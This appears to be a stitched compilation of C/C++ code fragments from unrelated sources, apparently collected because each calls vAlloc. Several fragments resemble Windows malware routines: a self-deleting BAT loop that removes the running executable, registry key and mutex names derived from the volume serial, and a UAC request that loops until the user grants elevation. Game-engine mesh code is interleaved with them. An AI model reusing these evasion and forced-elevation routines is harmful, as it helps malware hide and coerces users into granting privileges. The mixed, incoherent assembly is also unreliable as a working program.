//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Creates a BAT file that attemts to delete this module in infinite loop. // Then this BAT file deletes itself. // static WINERROR DoSelfDelete(VOID) { WINERROR Status = ERROR_UNSUCCESSFULL; LPTSTR ThisFilePath = NULL; LPTSTR BatFilePath = NULL; LPTSTR BatFileParam = NULL; do { LPTSTR FileName, BatFile; ULONG NameLen; if (!(ThisFilePath = GetCurrentProcessFilePath())) break; NameLen = (ULONG)lstrlen(ThisFilePath); // It's guaranteed that BAT file path string will fit into the BatFilePath buffer if (!(BatFilePath = (LPTSTR)vAlloc((NameLen + DOS_NAME_LEN)*sizeof(_TCHAR)))) break; if (!(BatFileParam = (LPTSTR)vAlloc((NameLen+3)*sizeof(_TCHAR)))) // 2 chars for "" and one for 0 break; lstrcpy(BatFilePath, ThisFilePath); FileName = strrchr(BatFilePath, _T('\\')); ASSERT(FileName); FileName += 1; wsprintf(FileName, tczBatFmt, GetTickCount()); wsprintf(BatFileParam, _T("\"%s\""), ThisFilePath); if (BatFile = (LPTSTR)vAlloc(MAX_PATH * sizeof(_TCHAR))) { ULONG Label = GetTickCount(); wsprintf(BatFile, tczBatchFile, Label, Label); Status = CreateAndStartBat(BatFilePath, BatFile, BatFileParam); vFree(BatFile); } }while (FALSE); if (Status == ERROR_UNSUCCESSFULL) Status = GetLastError(); if (ThisFilePath) vFree(ThisFilePath); if (BatFilePath) vFree(BatFilePath); if (BatFileParam) vFree(BatFileParam); return(Status); }
// // Allocates buffers and generates pseudo-random program key and mutex names, using system volume serial number // as random seed. The caller is responsable for freeing buffers. // BOOL GetProgramKeyName( PCHAR* pKeyName, PCHAR* pMutexName ) { BOOL Ret = FALSE; PCHAR KeyName = NULL, MutexName = NULL, RootDir; ULONG VolumeSerial = 0; if (RootDir = vAlloc(PAGE_SIZE)) { if (GetWindowsDirectory(RootDir, PAGE_SIZE)) { PCHAR Slash = strchr(RootDir, '\\'); if (Slash) Slash[1] = 0; if (GetVolumeInformation(RootDir, NULL, 0, &VolumeSerial, NULL, NULL, NULL, 0)) { if ((KeyName = GuidName(&VolumeSerial, tczProgramKey)) && (MutexName = GuidName(&VolumeSerial, tczLocal))) { *pKeyName = KeyName; *pMutexName = MutexName; Ret = TRUE; } } // if (GetVolumeInformation(RootDir, NULL, 0, &VolumeSerial, NULL, NULL, NULL, 0)) } // if (GetWindowsDirectory(RootDir, PAGE_SIZE)) vFree(RootDir); } // if (RootDir = vAlloc(PAGE_SIZE)) return(Ret); }
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Generates a string containig the Prefix, random GUID based on spesified Seed, and the Postfix. // LPTSTR GuidName( IN OUT PULONG pSeed, // pointer to a random seed value IN LPTSTR Prefix OPTIONAL // pointer to a prefix string (optional) ) { ULONG NameLen = GUID_STR_LEN + 1; LPTSTR GuidStr, Name = NULL; GUID Guid; GenGuid(&Guid, pSeed); if (GuidStr = GuidToString(&Guid)) { if (Prefix) NameLen += lstrlen(Prefix); if (Name = (LPTSTR)vAlloc(NameLen*sizeof(_TCHAR))) { Name[0] = 0; if (Prefix) lstrcpy(Name, Prefix); lstrcat(Name, GuidStr); } vFree(GuidStr); } // if (GuidStr = return(Name); }
kGridline::kGridline(u8 count, f32 space, u32 color) { Vertex_P_C* v = (Vertex_P_C*)vAlloc(4 * (count + 2), FVF_P_C); f32 step = space / count; f32 min = -0.5f * space; f32 max = 0.5f * space; for(int i = 0; i < (count + 1); i++) { f32 start = min + step * i; f32 end = min + step * (i + 1); v[i * 4 + 0].pos = vec3(start, min, 0); v[i * 4 + 1].pos = vec3(start, max, 0); v[i * 4 + 2].pos = vec3(min, start, 0); v[i * 4 + 3].pos = vec3(max, start, 0); v[i * 4 + 0].col = color; v[i * 4 + 1].col = color; v[i * 4 + 2].col = color; v[i * 4 + 3].col = color; } m_rtype = kgmMesh::RT_LINE; }
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Converts the specified GUID structure into 0-terminated string. // LPTSTR GuidToString(GUID* pGuid) { LPTSTR GuidStr = (LPTSTR)vAlloc((GUID_STR_LEN+1)*sizeof(_TCHAR)); if (GuidStr) wsprintf(GuidStr, tczGuidStrTempl, pGuid->Data1, pGuid->Data2, pGuid->Data3, *(USHORT*)&pGuid->Data4[0], *(ULONG*)&pGuid->Data4[2], *(USHORT*)&pGuid->Data4[6]); return(GuidStr); }
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Allocates a buffer and fills it with the full path of the executable file of the current process. // The caller is responsable for freeing the buffer. // If the function fails, the return value is NULL. To get extended error information, call GetLastError. // static LPTSTR GetCurrentProcessFilePath(VOID) { ULONG nSize = MAX_PATH; ULONG rSize = 0; LPTSTR FilePath = (LPTSTR)vAlloc(nSize*sizeof(_TCHAR)); while ((FilePath) && (rSize = GetModuleFileName(NULL, FilePath, nSize)) == nSize) { // Buffer is not large enough vFree(FilePath); nSize += MAX_PATH; FilePath = (LPTSTR)vAlloc(nSize*sizeof(_TCHAR)); } if ((FilePath) && (rSize == 0)) { // GetModuleFileName() returned an error vFree(FilePath); FilePath = NULL; } return(FilePath); }
kgmMesh::kgmMesh(const kgmMesh& msh) { m_rtype = msh.m_rtype; m_vcount = msh.m_vcount; m_fcount = msh.m_fcount; m_fvf = msh.m_fvf; m_fff = msh.m_fff; m_group = msh.m_group; vAlloc(m_vcount, (kgmMesh::FVF)m_fvf); fAlloc(m_fcount, (kgmMesh::FFF)m_fff); memcpy(m_vertices, msh.m_vertices, m_vcount * vsize()); memcpy(m_faces, msh.m_faces, m_fcount * fsize()); }
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Restarts current process with UAC elevation request message. // VOID RequestUac(VOID) { PCHAR ModulePath; SHELLEXECUTEINFO ExecInfo = {0}; // Checking for UAC elevated token if (ModulePath = vAlloc(0x1000)) { if (GetModuleFileName(NULL, ModulePath, 0x1000)) { CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); ExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ExecInfo.lpVerb = tczRunas; ExecInfo.lpFile = ModulePath; while(!ShellExecuteEx(&ExecInfo)); } // if (GetModuleFileName(NULL, ModulePath, 0x1000)) vFree(ModulePath); } // if (ModulePath = vAlloc(0x1000)) }
// Application defined memory allocation\freeing routines used by different static libraries PVOID __stdcall AppAlloc(ULONG Size) { return(vAlloc(Size)); }